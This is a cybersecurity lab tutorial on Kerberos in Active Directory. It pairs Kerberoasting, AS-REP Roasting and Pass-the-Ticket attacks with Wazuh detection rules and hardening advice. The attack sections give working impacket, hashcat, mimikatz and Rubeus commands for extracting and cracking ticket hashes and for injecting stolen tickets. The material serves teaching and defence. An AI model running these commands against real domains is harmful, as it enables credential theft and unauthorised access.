Kerberos: Implementation, Analysis, and Exploitation

What is Kerberos?

Kerberos is a secure network authentication protocol based on tickets, designed to allow users and services to mutually authenticate over an untrusted network. Its main goal is to ensure that a user’s identity can be verified without transmitting passwords over the network, thereby reducing the risk of interception.

Originally developed at MIT as part of Project Athena, Kerberos has become a widely adopted standard, especially in Windows environments, where it serves as the default authentication mechanism in Active Directory (AD) domains.

🧱 Core Functionality

Kerberos follows a client-server model and uses symmetric key cryptography, relying on a trusted third party called the Key Distribution Center (KDC), which is composed of:

• AS (Authentication Server): Validates user credentials and issues a TGT (Ticket Granting Ticket).
• TGS (Ticket Granting Service): Issues service tickets (TGS tickets) based on the TGT to access specific domain services.

🔄 Basic Flow

1. The user authenticates with the AS and receives a TGT.
2. The TGT is presented to the TGS to obtain service-specific tickets.
3. The user uses these tickets to access the requested service.

This model ensures that the password is only used once during the initial session and that all subsequent access is granted through encrypted, time-limited tickets.

Requirements:

• System – Systems for performing the tests
• Programming – Advanced programming skills

Responsibility:

In this tutorial, we will use hacking techniques for educational purposes only. We do not promote their use for profit or improper purposes. We are not responsible for any damage or harm that may be caused to the systems used. The user of this tutorial is solely responsible.

Knowledge:

• Linux – High
• Programming – Very high
• Kali Linux – Medium
• Windows – High
• Networking – Very high

General level of the tutorial: Very high

Ideal for: Systems engineers, security engineers, pentesters

Introduction to the Lab

This lab is designed for Master’s students in Cybersecurity who want to gain deep, practical expertise in the Kerberos authentication protocol. Participants will work within a virtualized environment that mirrors a real enterprise Active Directory infrastructure and simulate both standard authentication flows and well-known attacks.

The lab offers hands-on experience in analyzing Kerberos ticket structures, observing authentication logs, capturing network traffic, executing attacks like Kerberoasting or Pass-the-Ticket, and configuring detection mechanisms using Wazuh SIEM and Sysmon.

Executive Summary

This advanced lab guides students through the setup, analysis, and exploitation of the Kerberos authentication protocol, which is a foundational component in modern enterprise Windows environments. The exercises are performed in a controlled virtual environment built using VMware Workstation and simulate realistic Active Directory configurations.

The lab includes both Red Team and Blue Team activities: performing Kerberos-based attacks and configuring advanced detection with Wazuh and Sysmon. It covers attack techniques such as Kerberoasting, AS-REP Roasting, Pass-the-Ticket, and ticket manipulation using tools like mimikatz, Rubeus, and impacket.

Through this experience, students will gain insight into how attackers move laterally and escalate privileges in a Kerberos-secured domain, and how defenders can detect, monitor, and prevent these actions with effective monitoring and policy hardening.

Technical Summary

The lab replicates a realistic Kerberos environment using the following infrastructure:

• AD-Server: Windows Server acting as the KDC (Key Distribution Center).
• WinClient: Domain-joined workstation with logging tools and Sysmon.
• Kali Linux: Attacker machine with Red Team tools (Rubeus, mimikatz, impacket).
• Wazuh Server: Centralized SIEM for event correlation and alerting.

In each scenario, students will:

• Analyze Kerberos ticket flows (TGT and TGS).
• Observe relevant Windows Event IDs (e.g., 4768, 4769, 4624).
• Capture and analyze Kerberos traffic using Wireshark.
• Detect suspicious behavior and attacks via Wazuh rules.
• Review and enhance Kerberos hardening strategies.

This lab offers a full lifecycle view of Kerberos authentication — from normal login flows to credential theft and detection.

Lab Objectives

1. Understand the Kerberos authentication process and its components.
2. Simulate legitimate and malicious Kerberos flows.
3. Execute attacks such as Kerberoasting, AS-REP Roasting, and Pass-the-Ticket.
4. Analyze logs, ticket structures, and traffic generated during attacks.
5. Detect Kerberos abuse using Sysmon, Wazuh, and Windows Event Logs.
6. Apply security hardening strategies to reduce attack surface and improve detection.

🏗️ Lab Infrastructure

To emulate a real-world Active Directory environment with Kerberos authentication, the lab uses virtual machines deployed in VMware Workstation Pro (free version).

🔧 Virtual Machines and Roles

Optional (for advanced testing):

• LinuxServer: Ubuntu with SSH and Apache to simulate Linux services authenticated via Kerberos.
• AttackerVM-Win: Windows attacker with GUI tools for Kerberos abuse (Rubeus GUI, SharpHound).

📘 Kerberos Concepts to Demonstrate

This lab is designed to cover both standard Kerberos flows and common attack techniques, helping students understand the theory, behavior, and detection mechanisms of the protocol in real time.

✅ Core Kerberos Topics Covered

1. Authentication flow: TGT, TGS, and service access using tickets.
2. SPNs (Service Principal Names): Role in service identification and ticket encryption.
3. Ticket cache and klist: How Windows manages Kerberos sessions.
4. Network-level observation: Analyze AS-REQ, AS-REP, TGS-REQ, TGS-REP packets via Wireshark.
5. Common attack vectors:
   • Kerberoasting
   • AS-REP Roasting
   • Pass-the-Ticket
6. Detection and defense:
   • Monitoring with Event Viewer
   • Sysmon rule tuning
   • Wazuh correlation rules
   • Real-time SIEM alerting

⚙️ Environment Setup

Before performing the lab exercises, the environment must be set up carefully to reflect enterprise configurations.

1. VMware Configuration

• Install VMware Workstation Pro (Free License).
• Create the following virtual machines:
  • AD-Server: 2 vCPU, 4 GB RAM, 60 GB HDD
  • WinClient: 2 vCPU, 4 GB RAM, 40 GB HDD
  • KaliLinux: 2 vCPU, 2 GB RAM, 30 GB HDD
  • Wazuh-Server: 2 vCPU, 4 GB RAM, 60 GB HDD

All machines must be on the same NAT network.

2. Domain Setup (labkerb.local)

• Promote AD-Server to Domain Controller.
• Configure the domain labkerb.local.
• Create organizational units:
  • Users, Servers, Workstations, ServiceAccounts
• Add WinClient to the domain.
• Install DNS role on the DC and verify forward/reverse lookup.

3. Additional Configuration

• Enable RDP on all Windows machines: powershellCopiarEditarSet-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0 Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
• Install Sysmon on Windows machines with advanced XML configuration.
• Deploy Wazuh Agent on AD-Server, WinClient, and optionally on LinuxServer.
• Configure WinRM or SMB access between hosts for lateral movement scenarios.
• Update Windows to allow PowerShell execution and logging for attack detection.

Scenario 1: Normal Kerberos Authentication Flow

🎯 Objective

In this scenario, students will observe and understand how Kerberos authentication works under normal conditions in a domain-joined environment. This includes ticket generation, validation, and how these events are logged and handled by both the system and the network.

The goal is to provide a baseline for comparison when executing attack scenarios later.

🏗️ Environment Requirements

• AD-Server configured as the Key Distribution Center (KDC).
• WinClient joined to the domain labkerb.local.
• User account: student1@labkerb.local with standard privileges.
• Tools: Wireshark, klist, Event Viewer, Sysmon.

🛠️ Step-by-Step Procedure

🔹 1. Log into the Domain

From WinClient, log in as student1@labkerb.local.

This triggers a Kerberos AS-REQ to the KDC.

🔹 2. Observe Ticket Creation

Open a terminal and run:

klist

Expected output:

• TGT (krbtgt) issued by AD-Server.
• Validity period: Typically 10 hours by default.
• Tickets stored in LSASS memory and in user cache.

🔹 3. Access a Network Service

Access a shared folder hosted on AD-Server:

\\ad-server.labkerb.local\shared

Windows will automatically use Kerberos to authenticate. This triggers a TGS-REQ for the CIFS (SMB) service.

🔹 4. Analyze Traffic with Wireshark

On WinClient or AD-Server, launch Wireshark and filter:

kerberos || tcp.port == 88

You should see the following:

• AS-REQ and AS-REP: TGT issuance.
• TGS-REQ and TGS-REP: Access to services like CIFS.

Key fields:

• Client Name: student1
• Service Name: krbtgt / cifs
• Encryption Type: RC4, AES256

🔹 5. Inspect Security Event Logs

On AD-Server, open Event Viewer → Security.

Look for:

These provide valuable visibility into authentication activity.

🔹 6. Review Sysmon Logs (Optional)

On WinClient, review Sysmon logs:

• Process creation (event ID 1) for explorer.exe and other services.
• Network connections initiated to AD-Server.

✅ Expected Outcome

• Kerberos authentication completes successfully.
• Tickets are created and stored locally.
• The user can access domain services without typing a password again.
• Logs and network packets clearly show the Kerberos flow.

🛡️ What This Teaches

• How Kerberos handles ticket issuance and service access.
• How to recognize normal authentication traffic and events.
• Prepares the baseline knowledge to detect anomalies during attacks.

Scenario 2: Kerberoasting Attack

🎯 Objective

This scenario simulates a Kerberoasting attack, where an attacker requests TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs) and extracts their encrypted contents. These tickets are encrypted with the hash of the service account’s password and can be cracked offline using tools like hashcat.

This technique is extremely common in post-exploitation scenarios where the attacker has valid domain credentials and is searching for privilege escalation opportunities.

🏗️ Environment Requirements

• AD-Server: Active Directory domain controller and KDC.
• KaliLinux: Attacker machine with impacket, hashcat.
• Domain User: student1@labkerb.local.
• A vulnerable service account: svcSQL with weak password and SPN.

🛠️ Step-by-Step Procedure

🔹 1. Create a Service Account with SPN

On the AD-Server, create a vulnerable user:


New-ADUser -Name "svcSQL" -SamAccountName "svcSQL" `
-AccountPassword (ConvertTo-SecureString "P@ss1234" -AsPlainText -Force) `
-Enabled $true

Set-ADUser svcSQL -ServicePrincipalNames "MSSQLSvc/sql.labkerb.local:1433"

This account now has an SPN, making it a target for Kerberoasting.

🔹 2. Verify the Account from Kali

Use impacket-GetUserSPNs to enumerate SPNs and request a TGS:

GetUserSPNs.py LABKERB.LOCAL/student1:P@ssw0rd -dc-ip <IP_DC> -request

Expected output:

LABKERB.LOCAL\svcSQL:MSSQLSvc/sql.labkerb.local:1433
$krb5tgs$23$*svcSQL$LABKERB.LOCAL:...

The output contains a Kerberos TGS hash.

🔹 3. Crack the Hash with Hashcat

Save the hash to a file, e.g., hashes.txt, and run:


hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force

Expected result: The original password P@ss1234 is recovered.

🔹 4. Inspect the Network Traffic

Start Wireshark on KaliLinux or WinClient and filter:


kerberos

Look for:

• TGS-REQ from the attacker machine
• Service: MSSQLSvc
• Encryption: RC4 or AES256

This shows the attacker interacting with the KDC to obtain encrypted TGS tickets.

🔹 5. Review Security Events on AD-Server

Open Event Viewer → Security and look for:

Look specifically for:

• Service Name = MSSQLSvc
• Encryption types: RC4 (0x17) or AES256 (0x12)
• Account name used: student1

🔹 6. Detect with Wazuh Rule

On the Wazuh manager, define a custom rule:

xmlCopiarEditar<rule id="200201" level="10">
  <if_sid>18108</if_sid>
  <match>ServiceName:\s+MSSQLSvc</match>
  <description>Kerberoasting attempt: TGS requested for MSSQLSvc</description>
  <group>kerberos, exfiltration, kerberoasting</group>
</rule>

This rule raises an alert when TGS requests are detected for vulnerable SPNs.

✅ Expected Outcome

• Attacker extracts a TGS ticket from the DC.
• Cracks the hash offline using a dictionary attack.
• Learns the service account’s password.
• Wazuh and event logs register the suspicious behavior.

🛡️ Defensive Measures

• Use complex, long passwords for all accounts with SPNs.
• Implement Managed Service Accounts (gMSA) where possible.
• Monitor for high-frequency TGS requests.
• Use Wazuh/SIEM to alert on SPNs with weak encryption or uncommon activity.

Scenario 3: AS-REP Roasting Attack

🎯 Objective

This scenario demonstrates AS-REP Roasting, an attack that targets Active Directory user accounts that have pre-authentication disabled. When pre-auth is not required, an attacker can request an AS-REP (Authentication Service Response) directly from the Domain Controller without providing valid credentials.

The response includes data encrypted with the user’s password hash, which can be cracked offline.

This scenario shows how attackers enumerate vulnerable users, request AS-REP hashes, and crack them to obtain credentials — all without any password or prior access.

🏗️ Environment Requirements

• AD-Server: Domain controller (KDC).
• KaliLinux: Attacker machine with impacket and hashcat.
• Vulnerable user: legacyUser@labkerb.local with pre-authentication disabled.

🛠️ Step-by-Step Procedure

🔹 1. Create a Vulnerable User in AD

On the Domain Controller (AD-Server), execute:


New-ADUser -Name "legacyUser" -SamAccountName "legacyUser" `
-AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
-Enabled $true

Set-ADUser -Identity "legacyUser" -DoesNotRequirePreAuth $true

✅ The user can now be targeted with an AS-REP Roasting attack.

🔹 2. Enumerate Vulnerable Users from Kali

Install impacket if not already installed:

sudo apt install python3-impacket

Then run:

GetNPUsers.py labkerb.local/ -no-pass -dc-ip <IP_DC> -usersfile users.txt

users.txt should contain a list of potential usernames (e.g., legacyUser).

If the user is vulnerable, you will get:

$krb5asrep$23$legacyUser@LABKERB.LOCAL:...

The hash is ready for offline cracking.

🔹 3. Crack the AS-REP Hash

Save the hash in asrep_hashes.txt and execute:

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force

Expected output:

legacyUser:Summer2024!

🔹 4. Analyze Traffic in Wireshark

Filter for:

kerberos && tcp.port == 88

You’ll observe:

• AS-REQ from the attacker (without pre-auth data).
• AS-REP with encrypted data (the hash).

Key observations:

• No encrypted timestamp in request.
• Response encrypted with user’s password hash.

🔹 5. Review Event Logs in AD

On AD-Server, go to Event Viewer → Security and look for:

Important:

• Unlike normal users, no Event ID 4771 (pre-auth failure) is generated.
• legacyUser appears as source, even though no credentials were provided.

🔹 6. Detect with Wazuh Rule

Create a custom detection rule:

xmlCopiarEditar<rule id="200301" level="12">
  <if_sid>18107</if_sid>
  <match>legacyUser</match>
  <description>AS-REP Roasting attempt detected for user without pre-auth</description>
  <group>kerberos, roasting, attack</group>
</rule>

Also correlate with external connections to the DC on port 88 from unknown IPs.

✅ Expected Outcome

• Attacker identifies a user account vulnerable to AS-REP Roasting.
• Extracts the hash without authenticating.
• Cracks the password offline.
• Learns valid domain credentials for further lateral movement.

🛡️ Defensive Measures

• Never disable Kerberos pre-authentication unless absolutely required.
• Periodically check for misconfigurations: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
• Monitor for AS-REQs without encrypted timestamps.
• Alert on TGT requests from unusual IPs or non-domain devices.

Scenario 4: Pass-the-Ticket (PtT) Attack

🎯 Objective

This scenario demonstrates a Pass-the-Ticket (PtT) attack, in which an attacker reuses previously obtained Kerberos tickets (TGT or TGS) to impersonate a legitimate user and access services, without needing the user’s password.

It is a classic post-exploitation technique that takes advantage of how Windows stores Kerberos tickets in memory (LSASS), making it possible for attackers to extract and reuse them in lateral movement or persistence strategies.

🏗️ Environment Requirements

• AD-Server: Domain Controller and KDC.
• WinVictim: Domain-joined Windows machine with Kerberos tickets cached.
• AttackerVM: Can be Windows or Kali with mimikatz, Rubeus, impacket.
• Wazuh-Server: For detection and alerting of anomalous Kerberos activity.

🛠️ Step-by-Step Procedure

🔹 1. Simulate a Legitimate Login

Log into WinVictim as domain user student1@labkerb.local. This generates:

• A TGT stored in memory (LSASS).
• Service tickets (TGS) if services are accessed.

Check current tickets:

klist

🔹 2. Extract Kerberos Tickets with mimikatz

On WinVictim, run mimikatz as Administrator:

mimikatz
privilege::debug
sekurlsa::tickets

Identify the relevant krbtgt ticket and extract it:

kerberos::list
kerberos::ptt ticket.kirbi

You can also export .kirbi files for future use.

🔹 3. Transfer Tickets to AttackerVM

Move the .kirbi ticket to your attacking machine using USB, shared folder, or SCP.

🔹 4. Reuse the Ticket (Pass-the-Ticket)

If using a Windows attacker system with Rubeus:

Rubeus.exe ptt /ticket:ticket.kirbi

If using impacket on Kali, convert ticket to .ccache and set:

export KRB5CCNAME=student1.ccache
smbclient.py LABKERB.LOCAL/student1 -k -no-pass -dc-ip <IP_DC>

✅ You now have access to resources without knowing the user’s password.

🔹 5. Validate with klist

Confirm the ticket is active:

klist

You should see the injected ticket with its valid session period.

🔹 6. Review Event Logs on AD

On AD-Server, open Event Viewer → Security.

Look for:

🔍 Look for:

• Service access without prior logon.
• TGS requests from non-domain machines.
• Unusual LogonType = 3 or 9.

🔹 7. Detect with Wazuh Rule

Create a custom detection rule for reused tickets:

xmlCopiarEditar<rule id="200401" level="13">
  <if_sid>18108</if_sid>
  <match>krbtgt</match>
  <description>Suspicious reuse of TGT – Potential Pass-the-Ticket</description>
  <group>kerberos, lateral_movement, attack</group>
</rule>

Also correlate:

• Ticket usage from new IPs.
• Event 4624 without 4768 (AS-REQ) in close proximity.

✅ Expected Outcome

• Attacker gains access to services by injecting a Kerberos ticket.
• No password cracking or credential input is required.
• Activity may go unnoticed without advanced monitoring.

🛡️ Defensive Measures

• Enable Credential Guard or isolate LSASS memory (LSA Protection).
• Use AppLocker/WDAC to block tools like mimikatz.
• Monitor for sekurlsa::tickets access or .kirbi file creation.
• Implement short ticket lifetimes and track ticket reuse across IPs.

✅ Final Conclusions – Kerberos Laboratory

The completion of this advanced Kerberos laboratory has provided students with a comprehensive, real-world understanding of the Kerberos authentication protocol, including its operational mechanics, attack surface, and defensive strategies. This hands-on experience reinforces both the red team mindset for offensive tactics and the blue team perspective for detection, monitoring, and prevention.

🔍 Key Learnings

1. Deep Protocol Insight: Students gained visibility into the ticket-based authentication model of Kerberos — including AS-REQ/AS-REP, TGS-REQ/TGS-REP, and the role of the KDC — from both network and system-level perspectives.
2. Simulated Enterprise Environment: The use of virtual machines representing domain controllers, endpoints, and attackers created a realistic, isolated playground for safe experimentation, simulating real enterprise threats and behaviors.
3. Execution of Real-World Attacks:
   • Kerberoasting: Highlighted how weak service account management can lead to domain compromise.
   • AS-REP Roasting: Demonstrated how misconfigurations such as disabled pre-authentication pose significant risks.
   • Pass-the-Ticket (PtT): Showed the impact of poor ticket hygiene and credential theft through LSASS.
   • Live Analysis with tools like Wireshark and mimikatz offered visibility into each attack’s forensic footprint.
4. Detection Engineering: Integration with Wazuh SIEM and Sysmon empowered students to create detection rules and alerts tailored to specific Kerberos abuse patterns, simulating what a real SOC (Security Operations Center) would observe during such incidents.
5. Operational Hardening and Policy Awareness: The lab emphasized the importance of:
   • Strong service account passwords or gMSA.
   • Ticket lifetime management.
   • Pre-authentication enforcement.
   • Endpoint protection and memory isolation (e.g., Credential Guard).

🧠 Strategic Understanding

Through each scenario, students not only executed attacks but also learned to think like defenders, correlating logs, identifying anomalies, and designing layered mitigations. This dual perspective is essential for cybersecurity professionals working in threat detection, incident response, red teaming, and defensive architecture.

🧩 Final Reflection

Kerberos remains a critical yet often misunderstood component of enterprise security. Misconfigurations, legacy accounts, and poor visibility can turn its strengths into vulnerabilities. By mastering both the offensive and defensive sides of Kerberos, students are now better prepared to secure real-world Active Directory environments, contribute to blue team operations, and respond effectively to credential-based attacks.